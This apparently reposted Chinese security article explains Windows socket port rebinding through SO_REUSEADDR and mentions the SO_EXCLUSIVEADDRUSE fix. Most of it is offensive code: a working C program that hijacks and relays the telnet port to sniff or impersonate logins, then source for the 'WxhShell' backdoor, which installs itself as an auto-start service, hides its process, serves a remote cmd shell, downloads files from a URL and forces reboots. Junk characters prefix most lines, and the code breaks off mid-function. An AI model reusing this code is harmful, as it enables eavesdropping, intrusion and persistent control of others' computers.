在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!>BZ6gn5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%STliJ _<=S_<$2 saddr.sin_family = AF_INET;
}"|"Q7H d)@<W1; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~/ 8M 3k/ 6(]tYcC
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
CbPuoOl R)F;py8)I 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
N=5)fe%{4 c9kzOQ2n 这意味着什么?意味着可以进行如下的攻击:
lc2 i`MC JYrY[',u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ZDD..j PqyA1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
masT>vM :(a]V"(&Eq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!/^-;o7 rC.eyq,105 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
b
B x? q}/WQ]p} < 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
qw7@(R'" yC3yij<oR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`+zWu55; yfjK2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=/u%c! HJ2*y|u #include
X=6y_^ #include
s0*0 'f #include
r6;$1K*0 #include
!IC-)C,q DWORD WINAPI ClientThread(LPVOID lpParam);
$xOI 1|d int main()
/^$UhX9v {
K]qM~v<A WORD wVersionRequested;
?E9D Xg DWORD ret;
3)ma\+< 6 WSADATA wsaData;
Qd_Y\PzS BOOL val;
yMZHUd SOCKADDR_IN saddr;
KJ?y@Q SOCKADDR_IN scaddr;
\.f}W_OF int err;
65oWD- SOCKET s;
#Ei,(xiP SOCKET sc;
jYVE8Y)my int caddsize;
@v}B6j b; HANDLE mt;
3;7q` DWORD tid;
D?~8za`5 wVersionRequested = MAKEWORD( 2, 2 );
V $|< err = WSAStartup( wVersionRequested, &wsaData );
}C
/] if ( err != 0 ) {
rZojY}dWJ printf("error!WSAStartup failed!\n");
~1*A return -1;
)i>[M"7 }
>tG+?Y'{ saddr.sin_family = AF_INET;
6 CC &Z> 4Hb $0l //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=39 ?:VoD iB1i/l saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/<&h@$NHH4 saddr.sin_port = htons(23);
x1gx$P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
b?Pj< tA {
cBYfXI0` printf("error!socket failed!\n");
<w>/^|]# return -1;
|!H?+Jj: }
?-OPX_i_ val = TRUE;
F52B~@. //SO_REUSEADDR选项就是可以实现端口重绑定的
9p@C4oen if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
zSv^<`X3 {
NQ|xM"MqD printf("error!setsockopt failed!\n");
B|%tE{F return -1;
Nt:8ogk/ }
p T[gdhc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1%J.WH6eQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
U>S`k6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
!umEyd@ " _2hXa!yO if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
gV U1Y6. {
^1jk$$f ret=GetLastError();
oc{EuW{Ag printf("error!bind failed!\n");
g):]' return -1;
c 5`US }
f+Dn9t listen(s,2);
0{^H]Y while(1)
/.V0ag'G {
7ODaX.t-> caddsize = sizeof(scaddr);
BRbV7&
//接受连接请求
%do1i W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
VjbG(nB?_ if(sc!=INVALID_SOCKET)
~ eN8|SR {
*(GZ^QH. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
cs_}&!c{ if(mt==NULL)
Di=9mHC {
v })Q printf("Thread Creat Failed!\n");
O.k\]' break;
rUwE?Ekn/ }
VY'Q|[ }
Xt,X_o2m|] CloseHandle(mt);
TYjA:d9YH }
u/AT-er; closesocket(s);
X)uDSI~ WSACleanup();
Y?Vz(udD
return 0;
*+lsZ8'^C }
6~5$s1Yc DWORD WINAPI ClientThread(LPVOID lpParam)
3vJ12= {
EychR/s SOCKET ss = (SOCKET)lpParam;
hSqMaX%G SOCKET sc;
;R[&pDx unsigned char buf[4096];
6E9N(kFYs SOCKADDR_IN saddr;
#i@h{R01 long num;
RTd^ImV DWORD val;
EIX\O6* DWORD ret;
@?2n]n6 //如果是隐藏端口应用的话,可以在此处加一些判断
_|n=cC4Qu //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
T!(
4QRh[ saddr.sin_family = AF_INET;
rm+v(& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N&;\PfG saddr.sin_port = htons(23);
_J"mR]I+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gM_:l {
rB]W,8~% printf("error!socket failed!\n");
b>q6:=(( return -1;
e)pTC97^L }
]G1R0 Q val = 100;
INLf# N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QTh0SL {
]Ti $ztJ ret = GetLastError();
S|2VP8xY9 return -1;
w yD%x( }
Pc4R!Tc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~PUsgL^ {
b:x7)$( ret = GetLastError();
z<QIuq return -1;
ku3D?D:V }
cqg=8$ RB if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
M]0^ind {
4 ?2g&B\ printf("error!socket connect failed!\n");
_[$#
b]V closesocket(sc);
~x+Ykq0 closesocket(ss);
B007x{-L return -1;
D%GGu"@GO }
XWF7#xM while(1)
GEi
MmH? {
{_ 6t4h} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-,@bA @& //如果是嗅探内容的话,可以再此处进行内容分析和记录
El1:?4; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[0{wA9g num = recv(ss,buf,4096,0);
\6c8z/O7 if(num>0)
tBTJmih" send(sc,buf,num,0);
NV(fN-L else if(num==0)
3#<'[TF00t break;
yr{5Rp05= num = recv(sc,buf,4096,0);
45r|1<R o if(num>0)
~"5C${~{ send(ss,buf,num,0);
T"A^[r* else if(num==0)
0i_ break;
<dJIq"){ }
sVlZNj9i" closesocket(ss);
}RDb1~6C closesocket(sc);
/9TL&_A-T return 0 ;
IPkA7VhFF }
d"p2Kx'*3 yj]ML:n D;J|eC>^ ==========================================================
afV
P-m4L cC'^T6 下边附上一个代码,,WXhSHELL
^h"n03VFA 1uY3[Z9S ==========================================================
0~:eSWz= sOjF?bCdO #include "stdafx.h"
Yo@m50s$ t{[gKV-b #include <stdio.h>
o9~h%& #include <string.h>
Qh
1q #include <windows.h>
Kyyih|{ #include <winsock2.h>
;*"!:GR%h #include <winsvc.h>
f>?^uSpWH #include <urlmon.h>
sio)_8tp X9 z:D> #pragma comment (lib, "Ws2_32.lib")
//6^+-he #pragma comment (lib, "urlmon.lib")
$8EV,9^U pqkcf\ #define MAX_USER 100 // 最大客户端连接数
A-X #define BUF_SOCK 200 // sock buffer
Rd .U;> #define KEY_BUFF 255 // 输入 buffer
@'@s*9Nr wK2yt? #define REBOOT 0 // 重启
9$:QLE+t #define SHUTDOWN 1 // 关机
ze*&*csO Kp$_0 #define DEF_PORT 5000 // 监听端口
>a?OXqYP QQ5lW #define REG_LEN 16 // 注册表键长度
AB/,S #define SVC_LEN 80 // NT服务名长度
=W;t@"6>2 ( [K2:n\ // 从dll定义API
Y]D7i?3N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
YJ&lB&xH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
E\
K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
L"Qh_+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|LX rGyk^ Ufm(2` FQ // wxhshell配置信息
\[@Q}k[ struct WSCFG {
Y\+(rC27 int ws_port; // 监听端口
({D}QEP char ws_passstr[REG_LEN]; // 口令
UY?i E= int ws_autoins; // 安装标记, 1=yes 0=no
vgU hN_rK char ws_regname[REG_LEN]; // 注册表键名
(#!(Q)
] char ws_svcname[REG_LEN]; // 服务名
TBoM{s=. char ws_svcdisp[SVC_LEN]; // 服务显示名
<`oCz Q1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
K> c8r8! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
r78u=r int ws_downexe; // 下载执行标记, 1=yes 0=no
NqQM!B] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
N#<zEAB char ws_filenam[SVC_LEN]; // 下载后保存的文件名
O;"*_Xq(` ~rVKQ-+4& };
"N?%mCPI # i`A4D // default Wxhshell configuration
%igFHh? struct WSCFG wscfg={DEF_PORT,
GInZ53cQ "xuhuanlingzhe",
*F26}q 1,
.g6PrhzFbk "Wxhshell",
hqhu^.}] "Wxhshell",
x>1iIpBv^ "WxhShell Service",
e>])m3xvn "Wrsky Windows CmdShell Service",
)OW(T^>_'I "Please Input Your Password: ",
s=\LewF1< 1,
h"RP>fZt "
http://www.wrsky.com/wxhshell.exe",
FR@PhMUS "Wxhshell.exe"
fD3jwPL };
dy2_@/T7 ~x4{P;y // 消息定义模块
=!pu+&I 9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!I~C\$^U char *msg_ws_prompt="\n\r? for help\n\r#>";
E3FW*UNg[y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/ZIJ<#o[ char *msg_ws_ext="\n\rExit.";
hJC
p0F9O char *msg_ws_end="\n\rQuit.";
Tc'{i#%9j char *msg_ws_boot="\n\rReboot...";
%-1BA*J`| char *msg_ws_poff="\n\rShutdown...";
uv~qK:Nw( char *msg_ws_down="\n\rSave to ";
B"?+5A7 %h/#^esi char *msg_ws_err="\n\rErr!";
xzMeKC` char *msg_ws_ok="\n\rOK!";
/P?|4D}< g "K#& char ExeFile[MAX_PATH];
jE?\Yv3 int nUser = 0;
DJD ]aI HANDLE handles[MAX_USER];
JA SR int OsIsNt;
y'0dl "Dy\ [0tfY0 SERVICE_STATUS serviceStatus;
/IrR,bvA SERVICE_STATUS_HANDLE hServiceStatusHandle;
!%Hl#Pv} ^ sf[dr;BA // 函数声明
@LWxz int Install(void);
fzkCI int Uninstall(void);
@o3R`ZgC]\ int DownloadFile(char *sURL, SOCKET wsh);
fbzKO^Ub int Boot(int flag);
wEHAkc)Q void HideProc(void);
|=^#d\?]j int GetOsVer(void);
53,,%Ue int Wxhshell(SOCKET wsl);
lEYT{ void TalkWithClient(void *cs);
t6h`WAZV int CmdShell(SOCKET sock);
f9l<$l int StartFromService(void);
aG8D%i0 int StartWxhshell(LPSTR lpCmdLine);
RaM#@D7 C#**) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$ )TF,-#x VOID WINAPI NTServiceHandler( DWORD fdwControl );
e>vUkP y @7HOL-i // 数据结构和表定义
CSX$Pk* SERVICE_TABLE_ENTRY DispatchTable[] =
PgG |7=' {
$*v 20 {wscfg.ws_svcname, NTServiceMain},
mBpsgm:g^ {NULL, NULL}
_iboTcUF };
X!+Mgh6 2YE]?!
// 自我安装
dE}b8|</ int Install(void)
N>}K+M> {
.e
_D3Xp< char svExeFile[MAX_PATH];
_E&vE5<-$ HKEY key;
hRy}G'0 strcpy(svExeFile,ExeFile);
gh #w%g1g
|b-Zy~6 // 如果是win9x系统,修改注册表设为自启动
);uZ4PNK/? if(!OsIsNt) {
d a?th if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6kF
uMtjc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zIQc#F6\5 RegCloseKey(key);
6:EH5IO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b%!`fn-; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~oW8GQ RegCloseKey(key);
*UL|{_)c return 0;
qnfRN' }
*r?51*J }
pTX'5 }
Ae_ E;[mj else {
/L|}Y242 4TQISu) // 如果是NT以上系统,安装为系统服务
zHs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ah>krE0t if (schSCManager!=0)
vS t=Ax3] {
13&>w{S} SC_HANDLE schService = CreateService
zl#&Qm4Ot (
9MzkG87J schSCManager,
(Nlm4*{h wscfg.ws_svcname,
3F'dT[; wscfg.ws_svcdisp,
WmVw>.]@~ SERVICE_ALL_ACCESS,
L{0OMyUA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&'yV:g3H SERVICE_AUTO_START,
vlN. OQ SERVICE_ERROR_NORMAL,
4p.{G%h svExeFile,
Jx9%8Ek NULL,
B*iz+"H NULL,
n`KXJ?t NULL,
?.A/E?Oc NULL,
GK+\-U)v NULL
PRlo"kN );
qf=[*ZY if (schService!=0)
;yER
V {
JHZo:Ad -& CloseServiceHandle(schService);
R"t$N@ZFb CloseServiceHandle(schSCManager);
~0'l, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
f-nC+ strcat(svExeFile,wscfg.ws_svcname);
l(#Y8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7%}3Ghc% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
LXF%~^^@d RegCloseKey(key);
,$qs9b~ return 0;
# +]! u%n }
BBJ]>lQ }
vhEs +j CloseServiceHandle(schSCManager);
jTgh+j]AP }
d lLk4a+ }
yaYt/?| *3
8Y;{ 4 return 1;
2^ZPO4| }
I^Jp
)k*z {=4:Tgw // 自我卸载
*K.7Zf0 int Uninstall(void)
^k<$N {
g):jZU]b HKEY key;
"K!BJQ #=#$b _6* if(!OsIsNt) {
8Xzx;-&4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*dTf(J RegDeleteValue(key,wscfg.ws_regname);
Z_~DTO2Qg RegCloseKey(key);
ujqktrhuLb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|+~2sbM RegDeleteValue(key,wscfg.ws_regname);
1O7ss_E RegCloseKey(key);
3A}8? return 0;
TC#B^m`'p }
h#ot)m|I }
XRz6Yf(/ }
O~0
1)% else {
BD#;3?| XJ?z{gXJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
bK1`a{ if (schSCManager!=0)
N,Bs% p#1 {
aKtTx~$@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
F|Ihq^q if (schService!=0)
OSIp {
:P"Gym if(DeleteService(schService)!=0) {
c6)zx
b CloseServiceHandle(schService);
J vsB^F.4 CloseServiceHandle(schSCManager);
ADz|Y~V! return 0;
hzo,.hS's }
|YFlJ2w CloseServiceHandle(schService);
K(<P" g( }
tb\pjLB][ CloseServiceHandle(schSCManager);
FCJ(D! }
|c/rHEZ }
^D[;JV iUB ni&B return 1;
IpmREl$j }
9ksrr{tW =oDrN7`,B // 从指定url下载文件
9<mj@bI$ int DownloadFile(char *sURL, SOCKET wsh)
+]vl8, 4@ {
O8o18m8UH HRESULT hr;
cEu98nP char seps[]= "/";
,_zt?o\ char *token;
\0*LfVr;P char *file;
sTyGi1 char myURL[MAX_PATH];
Bx>@HU char myFILE[MAX_PATH];
7^=jv~>wP _*I6O$/> strcpy(myURL,sURL);
rzLlM token=strtok(myURL,seps);
T]2q >N while(token!=NULL)
{piS3xBi {
r
|/9Dn% file=token;
0fU>L^P_? token=strtok(NULL,seps);
MsQS{ok+ }
JN)t'm[kyE (p!AX<=z GetCurrentDirectory(MAX_PATH,myFILE);
#u@!O%MJ strcat(myFILE, "\\");
Q pq0j^\ strcat(myFILE, file);
xE_[=7= send(wsh,myFILE,strlen(myFILE),0);
UUq9UV-h send(wsh,"...",3,0);
e:
tp7w 4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XZGyh X7 if(hr==S_OK)
!
+ 7ve[z return 0;
_Hk`e}} else
H#E0S>Jw| return 1;
xd<68%Cn +\chHOsw }
Ipx:k+J QNFrkel // 系统电源模块
9qA_5x%"%u int Boot(int flag)
vcHDFi {
}kDrUnBk HANDLE hToken;
',pPs= TOKEN_PRIVILEGES tkp;
o++Hdvai }I]q$3. if(OsIsNt) {
j;.&+. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
PYe>`X? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
oL;/Qan tkp.PrivilegeCount = 1;
sJWwkR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ZHJzh\? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
FCPbp!q6 if(flag==REBOOT) {
xj<SnrrC]u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=g:\R$lQ return 0;
>smaR^m }
yrX]w3kr% else {
5Fl|=G+3@g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
xT/&'$@{) return 0;
LmE-&
}
;D:v@I$I }
`g~-5Z~J else {
"x11 YM{F if(flag==REBOOT) {
:?J$ +bm} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;Mz]uk return 0;
m78PQx
H }
7^F?key? else {
(hoqLL\}k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{`LV{! return 0;
]2jnY&a5 }
7o<RvM }
nL?B VWi-) return 1;
&}r932 }
,x/j&S9! kL-+V)Kl // win9x进程隐藏模块
So:89T void HideProc(void)
.JqIAC~ {
R~i<* (:1j- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;p/@tr9 if ( hKernel != NULL )
X:A\{^~ {
g5.Z B@j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
F2&KTK ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Z8 x(_ft5 FreeLibrary(hKernel);
R?W8l5CIk }
t`?FSV wv<"W@& 9 return;
nT>?}/S }
#ua#$&p Y9WH% // 获取操作系统版本
{XVSHUtw int GetOsVer(void)
Jd |hwvwFe {
-+L1Hid.7 OSVERSIONINFO winfo;
vq{:=:5'P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
loZfzN&6A GetVersionEx(&winfo);
4l|Am3vzX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6jn<YR
E-
return 1;
b7$?'neH/. else
/4|qfF3 return 0;
~&pk</Dl }
. "R
2^` K= 69z // 客户端句柄模块
.JzO f[g5 int Wxhshell(SOCKET wsl)
(i`DUF'#y {
MG~^> SOCKET wsh;
xzy9~))o struct sockaddr_in client;
FOZqN K DWORD myID;
dLAElTg d.{RZq2cp while(nUser<MAX_USER)
eC1cE {
Q>.-u6(& int nSize=sizeof(client);
(\Dd9a8V- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<_NF if(wsh==INVALID_SOCKET) return 1;
k -SUp8}g `0sa94H1[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nI6`/ if(handles[nUser]==0)
,3^N_>d$W closesocket(wsh);
?J>^X-z else
7_JK2 nUser++;
%3q@\:s }
sI~{it# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
gSP|;Gy
<uA|nYpp return 0;
E;h#3
B9 }
Jx'p\* Qd@`jwjS // 关闭 socket
g6N{Z e Wg void CloseIt(SOCKET wsh)
TIS}'c'C {
qD%Jf4.0j closesocket(wsh);
M'*
Y nUser--;
*iYs,4 ExitThread(0);
0`_Gj{:L }
`/#6k> B&tl6?7h // 客户端请求句柄
5^tL# void TalkWithClient(void *cs)
C7PHZ`< {
{+Eq{8m` 6tP^_9njy SOCKET wsh=(SOCKET)cs;
TVKuvKH8U char pwd[SVC_LEN];
P_w+p"@m char cmd[KEY_BUFF];
kRG-~'f%` char chr[1];
c,e
0+ int i,j;
Pg5 1}{ T#T!a0 while (nUser < MAX_USER) {
9!PJLI=D 3pm;?6i6 if(wscfg.ws_passstr) {
sHKT]^7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H+-9R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]_j{b)t //ZeroMemory(pwd,KEY_BUFF);
Cvq2UNz(R i=0;
c^I_~OwaE while(i<SVC_LEN) {
>`u} G1T\ I lvjS^j // 设置超时
Zs)HzOP)9 fd_set FdRead;
/)6<`S( struct timeval TimeOut;
s&z+j%;+o FD_ZERO(&FdRead);
*YYm;J' FD_SET(wsh,&FdRead);
h@/c76}f6p TimeOut.tv_sec=8;
{R]4N]l> TimeOut.tv_usec=0;
u|APx8?"o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$5|/X&"O)/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
T[L < JA5.6<= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#~ UG9@a pwd
=chr[0]; ;L++H5Kz6
if(chr[0]==0xd || chr[0]==0xa) { DTPYCG&%
pwd=0; _=8x?fC:rl
break; MHk\y2`/;
} \Ua"gS2L
i++; (+(YO\ng6
} [{-
Oy#T<
[@_}BZk
// 如果是非法用户,关闭 socket Whod_Uk
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vEOoG>'Zq
} Mo0+"`
H5{d;L1[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -BgzAxa
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rhsSV3iM
+t})tDPXw
while(1) { ;}ileLTl
X~G!{TT_x6
ZeroMemory(cmd,KEY_BUFF); <9B\('
98x]x:mgI_
// 自动支持客户端 telnet标准 O-@*xwD
j=0; =i4 Ds
while(j<KEY_BUFF) { Rku9? zf^
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _p<s!
cmd[j]=chr[0]; Jo1n>Mo-j
if(chr[0]==0xa || chr[0]==0xd) { udMDE=1~L
cmd[j]=0; ;|5m;x/a
break; Nl"< $/
} j
~:Dr
j++; RU|{'zC\v
} T&
k,LeBCqGcb
// 下载文件 `B}(Ln
if(strstr(cmd,"http://")) { )4vZIU#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3i/$YX5@
if(DownloadFile(cmd,wsh)) DBI[OG9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DJ2EV^D+P
else mp:%k\cF|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \cP\I5IW:s
} Kz:g9
else { KWq7M8mq
:UGc6
switch(cmd[0]) { tIR"y:U+
e
"5S;
// 帮助 QqA~y$'ut
case '?': { BWamF{\d1a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z|;7;TwA
break; Sp3?I2 o
} \$n?J(N
// 安装 [#S}L(
case 'i': { [4KW64%l
if(Install()) ~3<Li}W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xL,Lb}){%
else #05#@v8.f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mn7nS:
break; TO7%TW{L
} ;3wj(o0
// 卸载 ~0aWjMc(>
case 'r': { +`O8cHx
if(Uninstall()) E$"( :%'v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %T4htZa
else ;gfY_MXnF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /R7qR#
break; =LEKFXqM
} WDc2Qt
// 显示 wxhshell 所在路径 O)NEt
case 'p': { &"]Uh
char svExeFile[MAX_PATH]; *$mDu,'8
strcpy(svExeFile,"\n\r"); *NzHY;e
strcat(svExeFile,ExeFile); +`4`OVE_#
send(wsh,svExeFile,strlen(svExeFile),0); F[uy'~;@
break; }GX[N\$N
} yG -1g0
// 重启 C,T9xm
case 'b': { ENW>bS8e`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wN1%;~?7
if(Boot(REBOOT)) yDh(4w-~gk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SJ$N]<d
else { cz<8Kb/XV
closesocket(wsh); v).V&":
ExitThread(0); HPJ\]HV(
} 2(~Y ^_
break; A;VjMfoB
} E=!=4"rZF
// 关机 _q*4+x
case 'd': { 'ap<]mf2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NMq#D$T
if(Boot(SHUTDOWN)) C%P)_)--V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` QC
else { #Ezq}F8Y
closesocket(wsh); PR rf$& u
ExitThread(0); \z>Re$:
} wcz|Zy
break; {B^V_TX2
} -WiOs;2~/
// 获取shell 242dT/j
case 's': { A$*#n8,
CmdShell(wsh); ).aQ}Gwx^
closesocket(wsh); 9$[I~I#z
ExitThread(0); (bEX"U-
break; l(X8 cHAi
} _-/aMfyQ
// 退出 n#@/A
case 'x': { 27mGX\T
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :B(F?9qK
CloseIt(wsh); N[e QT
break; m8KJ~02l#
} JNhHQvi\
// 离开 "E`;8SZa
case 'q': { !e~Yp0gX#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }6/L5j:+
closesocket(wsh); ut6M$d4
WSACleanup(); J6x#c`Y
exit(1); l5sBDiir%
break; m)G=4kK52-
} >:W7f2%8`
} En&bwLu:s
} ;8WgbR)ZLU
3L2@C%
// 提示信息 K:}~8 P>^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u{%gB&nC
} JTT"t@__
} x!\FB.h4!(
=)Z!qjf1U
return; -[-LR }u
} <^:e)W
k+k&}8e
// shell模块句柄 a'R)3:S
int CmdShell(SOCKET sock) KP)BD;
{ )c9]}:W&
STARTUPINFO si; ]TTX<R
ZLr
ZeroMemory(&si,sizeof(si)); /<Nb/#8
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C N9lK29F)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; At5:X*vD
PROCESS_INFORMATION ProcessInfo; d~L`*"/)[
char cmdline[]="cmd"; s3m]rC
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tPO\ e]
return 0; 8+^?<FKa
} F|._'i+B!
w)bLdQ
// 自身启动模式 _Q<wb8+/
int StartFromService(void) bXcDsP$.
{ z1\G,mJK
typedef struct r4Ygy/%
{ 75Xi%mlE7
DWORD ExitStatus; A`4Di8'Me
DWORD PebBaseAddress; Ks&~VU
DWORD AffinityMask; 33d86H%;
DWORD BasePriority; ?DVO\Cp
